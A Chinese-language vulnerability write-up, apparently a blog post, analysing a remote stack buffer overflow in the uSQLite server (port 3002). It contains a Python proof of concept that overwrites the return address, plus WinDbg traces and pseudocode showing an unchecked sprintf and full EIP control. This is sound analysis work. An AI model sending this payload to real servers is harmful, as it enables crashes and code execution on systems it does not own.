漏洞说明

uSQLite是SQLite的一款网络封装工具,它有一个Server工具uSQLiteServer.exe,开启后会开启3002端口负责处理连接情况,在接收数据的时候,当接收到一个畸形数据的时候,由于对于数据没有进行判断,从而因为sprintf函数导致缓冲区溢出,这个其实是一个远程代码执行漏洞,而不是EDB上所述的拒绝服务漏洞,下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/049c0d02f6e28026e36159098a55ce7b-usqlite_v1.0.0.tar.gz
PoC:

import socket
import sys


if len(sys.argv)<=1:
    print("Usage: python usqlite.py hostname")
    sys.exit()


hostname=sys.argv[1]
port = 3002
buffer = "A"*259+"B"*4+"C"*360

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((hostname,port))
sock.send(buffer +'\r\n')
sock.recv(1024)
sock.close()

这个漏洞是远程触发,运行uSQLite之后用windbg的file->attach process附加到uSQLite进程,然后运行PoC观察gdb中断,进而进行分析。

漏洞复现

uSQLite是SQLite的一款网络封装工具,它有一个Server工具uSQLiteServer.exe,开启后会开启3002端口负责处理连接情况,在接收数据的时候,当接收到一个畸形数据的时候,由于对于数据没有进行判断,从而因为sprintf函数导致缓冲区溢出,这个其实是一个远程代码执行漏洞,而不是EDB上所述的拒绝服务漏洞,下面对此漏洞进行详细分析。
首先附加Server,执行PoC,到达漏洞位置。

0:001> g
(604.f94): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000134 ebx=41414141 ecx=0024ab18 edx=00000134 esi=41414141 edi=41414141
eip=42424242 esp=0022f900 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
42424242 ??              ???

此时eip已经可控,我调整了一下PoC,把后面C的payload部分去掉,然后通过kb看一下堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0022f8fc 73203a22 61746e79 72652078 0d726f72 0x42424242
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面
\049c0d02f6e28026e36159098a55ce7b-usqlite_v1.0.0\usqlite_v1.0.0\uSQLiteServer.exe
0022f928 00401ee0 003edd08 0000077c 0022f94c 0x73203a22
0022fbd8 00401762 003e25b0 00000004 000000ca uSQLiteServer+0x1ee0
0022ff78 004011e7 00000002 003e2510 003e2ab0 uSQLiteServer+0x1762
0022ffb0 00401238 00000001 00000009 0022fff0 uSQLiteServer+0x11e7

在之前调用了00401ee0位置,下面开始分析。

漏洞分析

首先看一下00401ee0地址位置的汇编语句。

.text:00401ED5 loc_401ED5:                             ; CODE XREF: sub_401E07+61j
.text:00401ED5                 mov     eax, [esi+4]
.text:00401ED8                 mov     [esp], eax
.text:00401EDB                 call    sub_402DA3

这里是一个loc块,调用了sub_402DA3的函数,直接看一下这个函数伪代码,存在一处while循环,里面会有一个recv函数。

while ( sub_403656(v1, 2048) >= 0 )
{
  v4 = (char *)sub_4036C5(v1);
  v5 = recv(*(_DWORD *)(a1 + 132), v4, 2048, 0);
  if ( v5 <= 0 )
    break;
  v1[2] += v5;
}
v6 = sub_40372A(v1);
v3 = 0;
if ( v6 > 0 )
{
  sub_402C04(a1, *v1);
  sub_403794(v1, v6);
  v3 = 1;
}

直接在这个recv函数位置下断点。

0:001> bp 402e41
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面
\049c0d02f6e28026e36159098a55ce7b-usqlite_v1.0.0\usqlite_v1.0.0\uSQLiteServer.exe
0:001> g
Breakpoint 0 hit
eax=0000077c ebx=00a32d68 ecx=77bfc774 edx=00a32d68 esi=003edd08 edi=00000009
eip=00402e41 esp=0022f900 ebp=0022f928 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
uSQLiteServer+0x2e41:
00402e41 e81a240000      call    uSQLiteServer+0x5260 (00405260)
0:000> dd esp
0022f900  0000077c 00a32138 00000800 00000000
0:000> dd a32138
00a32138  00a33300 003e0178 00000000 00000000
00a32148  003eb398 00000000 003eb398 00000000
00a32158  00000000 00000000 00000000 00000000
00a32168  0000000d 00a70303 e103a703 0000c403

其中根据之前的recv函数的状况,00a32138地址位置存放的是接收字符串的buffer部分,直接步过接收函数。

0:000> p
eax=00000109 ebx=00a32d68 ecx=0024ab18 edx=00000001 esi=003edd08 edi=00000009
eip=00402e46 esp=0022f910 ebp=0022f928 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
uSQLiteServer+0x2e46:
00402e46 83ec10          sub     esp,10h
0:000> dd a32138
00a32138  41414141 41414141 41414141 41414141
00a32148  41414141 41414141 41414141 41414141
00a32158  41414141 41414141 41414141 41414141

步过后,接收到了畸形字符串,接着往下跟踪,到达一处call调用。

0:000> p
eax=00a32138 ebx=00a32d68 ecx=00002733 edx=00000000 esi=003edd08 edi=00000107
eip=00402e73 esp=0022f900 ebp=0022f928 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
uSQLiteServer+0x2e73:
00402e73 893424          mov     dword ptr [esp],esi  ss:0023:0022f900=00a32d68
0:000> p
eax=00a32138 ebx=00a32d68 ecx=00002733 edx=00000000 esi=003edd08 edi=00000107
eip=00402e76 esp=0022f900 ebp=0022f928 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
uSQLiteServer+0x2e76:
00402e76 e889fdffff      call    uSQLiteServer+0x2c04 (00402c04)
0:000> dd esp
0022f900  003edd08 00a32138 0000000b 00000000
0:000> dd 00a32138
00a32138  41414141 41414141 41414141 41414141
00a32148  41414141 41414141 41414141 41414141

这个函数中,畸形字符串的缓冲区会作为第二个参数传入,这个函数会打印错误字符串,或继续处理逻辑,来看一下函数内的逻辑。

int __cdecl sub_402C04(int a1, const void *a2)
{
  int v3; // [sp+2Ch] [bp-11Ch]@1
  char buf; // [sp+30h] [bp-118h]@1

  v3 = 0;
  buf = 0;
  *(_DWORD *)(a1 + 128) = 0;
  if ( !memcmp(a2, ":PPRAGMA ", 9u) )
  {
    sub_402639(a1, &buf, (int)a2 + 8);
  }
  else
  {
    sub_406E30(*(_DWORD *)(a1 + 40), (int)sub_402BBC, a1);
    if ( sub_406AA0(*(_DWORD *)(a1 + 40), a2, sub_401F30, a1, (char **)&v3) )
      sprintf(&buf, ":Err : SQL error : %s%c:OK%c", v3, *(_BYTE *)(a1 + 160), *(_BYTE *)(a1 + 160));
    else
      sprintf(&buf, ":OK%c", *(_BYTE *)(a1 + 160));
    sub_405950(v3);
  }
  return sub_40258C(a1, &buf, strlen(&buf));
}

if语句调用的memcpy会检测第二个函数开头是不是:PPRAGMA,如果不是的话,就会进入else语句,进行错误处理,并且打印错误字符串,在后面sub_406aa0函数会生成错误字符串,然后调用sprintf。
sprintf函数会将错误字符串,也就是包含畸形数据的字符串打印出来。

0:000> p
eax=0022f7e0 ebx=003edd08 ecx=003eb9d0 edx=00000000 esi=00a32139 edi=0044b53d
eip=00402cd3 esp=0022f7b0 ebp=0022f8f8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
uSQLiteServer+0x2cd3:
00402cd3 890424          mov     dword ptr [esp],eax  ss:0023:0022f7b0=003e7d70
0:000> p
eax=0022f7e0 ebx=003edd08 ecx=003eb9d0 edx=00000000 esi=00a32139 edi=0044b53d
eip=00402cd6 esp=0022f7b0 ebp=0022f8f8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
uSQLiteServer+0x2cd6:
00402cd6 e8b5630400      call    uSQLiteServer+0x49090 (00449090)
0:000> dd esp
0022f7b0  0022f7e0 0044b546 003eb788 0000000d
0:000> dd 0022f7e0
0022f7e0  00000700 0022f814 7c92f63c 7c92f641
0:000> dc 003eb788
003eb788  7261656e 41412220 41414141 41414141  near "AAAAAAAAAA
003eb798  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
003eb7a8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
003eb7b8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
003eb7c8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

其中003eb788是在上面刚才提到的那个sub函数中产生的,这里没有判断传入字符串的长度,调用sprintf之后会传入buf中。

0:000> p
eax=00000134 ebx=003edd08 ecx=0000e598 edx=0022f913 esi=00a32139 edi=0044b53d
eip=00402cdb esp=0022f7b0 ebp=0022f8f8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
uSQLiteServer+0x2cdb:
00402cdb eb21            jmp     uSQLiteServer+0x2cfe (00402cfe)
0:000> dc 0022f7e0
0022f7e0  7272453a 53203a20 65204c51 726f7272  :Err : SQL error
0022f7f0  6e203a20 20726165 41414122 41414141   : near "AAAAAAA
0022f800  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0022f810  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0022f820  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0022f830  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

这个过程导致了缓冲区溢出,返回地址被覆盖,随后进入之后执行到返回地址的时候esp被覆盖了。

0:000> bp 402d3b
0:000> g
Breakpoint 2 hit
eax=00000134 ebx=41414141 ecx=0024ab18 edx=00000134 esi=41414141 edi=41414141
eip=00402d3b esp=0022f8fc ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
uSQLiteServer+0x2d3b:
00402d3b c3              ret
0:000> dd esp
0022f8fc  42424242 73203a22 61746e79 72652078
0022f90c  0d726f72 0d4b4f3a 00000700 0022f950

可以看到esp是可控值,从而ret之后执行了任意代码。

标签: none

添加新评论